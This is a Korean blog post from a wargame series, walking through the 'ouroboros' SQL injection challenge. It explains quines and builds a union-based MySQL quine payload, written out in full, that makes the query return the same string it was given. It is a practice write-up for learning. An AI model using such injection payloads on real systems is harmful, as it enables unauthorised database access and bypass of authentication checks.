(Lord of SQLInjection) ouroboros 문제입니다.
먼저 이번문제는 라이트업을 참고해 해결한 문제입니다.

먼저 제공되는 필터링부터 보면
prob, _ , . , rollup, join, @ 을 막고 있습니다.
pw의 값이 정확히 일치한다면 solve가 실행되어 문제가 해결된다고 하니
아래 구조를 이용해 pw를 하나씩 찾는 문제라고 생각했습니다.
pw='' || '1'='1'
문제사이트에서 실행해보면 아무일도 일어나지 않으며

만약 pw가 비어있다면 union을 활용해야 하는데 이또한 어떻게 해야할지
감이 오지를 않았습니다.
이 문제를 먼저푼 지인의 도움으로 Quine라는 것을 활용한다는 것과 라이트업을 봐도
이해가 어렵다는 말을 들어 몇개의 라이트업을 참고해 정리하였습니다.
Quine
먼저 콰인이 무엇인지 부터 알아보면 메타 프로그램의 일종으로
입력없이 자기 자신의 코드를 출력하는 프로그램이라고 합니다.
#include <stdio.h>
char S[] = "#include <stdio.h>%cchar S[] = %c%s%c;%cint main() { printf(S, 10, 34, S, 34, 10); return 0; }";
int main() { printf(S, 10, 34, S, 34, 10); return 0; }
위의 코드는 예시코드로 S[] 배열에 코드를 입력되어 있으며 코드를 실행시키면

실행시킨 코드와 cat으로 읽는 코드가 정확히 일치하고 있습니다.
이렇게 자기자신을 그대로 출력하는 것을 Quine이라고 합니다.
이러한 Quine을 SQL 쿼리에 접목시킨것이 Quine 쿼리라고 한다고 합니다.
위 문제에서는 pw를 1=1을 실행했음에도 true가 나오지 않는다면
쿼리 그자체를 완전히 같게 만들어 해결하는 문제라고 볼 수 있습니다.
Quine 쿼리중 MySQL에 쓰이는 대표적인 페이로드를 찾아보면
아래와 같은 코드가 있다고 합니다.
select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');
replace를 활용한 구문으로
두번째 replace 다음에 ' 로 감싸고 있으며 replace로 바꾸는 것으로
뒤에 나오는 구문과 정확히 일치시키는 구조라고 합니다.
(더 자세히 분석하고 싶지만 공부가 부족해 추후 추가하도록 하겠습니다.)
위 코드를 활용하기 전에
이전 pw=' || '1'='1' 구조를 사용했을때 아무일도 일어나지 않는 것을 확인했습니다.
이는 값이 없는 것을 알 수 있으며 값이 없는 경우 union을 이용해야합니다.
레퍼런스 자료들을 참고해 코드보면 아래코드가 최종 페이로드이며
'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',
char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
replace로 바꾸는 코드와 바뀌어질 코드로 나누어 하나씩 보면
replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',
char(34),char(39))
먼저 위 코드는 replace에 의해 아래 코드처럼
더블쿼터가 전부 싱글쿼터로 바뀌게 됩니다.
'union select replace(replace('$',char(34),char(39)),char(36),'$')%23
바뀐 위 코드가 그다음에 감싸고 있는 replace에 의해
replace('union select replace(replace('$',char(34),char(39)),char(36),'$')%23'
,char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
값이 다시 바뀌면서 파라미터로 전달된 값과 동일한 문자열을
전달하게 됩니다.
replace('"union select replace(replace('$',char(34),char(39)),char(36),"$")%23'
,char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
동일한 문자열을 전달했기에
문제의 아래코드 조건을 통과하게 되어 문제가 해결되게 됩니다.
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
페이로드를 문제사이트에 전달해보면

문제가 해결되었습니다.
Reference
1. https://aidencom.tistory.com/325
2. https://aidencom.tistory.com/324
'Wargame(Web) > Lord of SQLInjection' 카테고리의 다른 글
(Lord of SQLInjection) alien 문제 (0) | 2022.11.28 |
---|---|
(Lord of SQLInjection) zombie 문제 (0) | 2022.11.25 |
(Lord of SQLInjection) phantom 문제 (0) | 2022.11.21 |
(Lord of SQLInjection) frankenstein 문제 (0) | 2022.11.17 |
(Lord of SQLInjection) blue_dragon 문제 (0) | 2022.11.17 |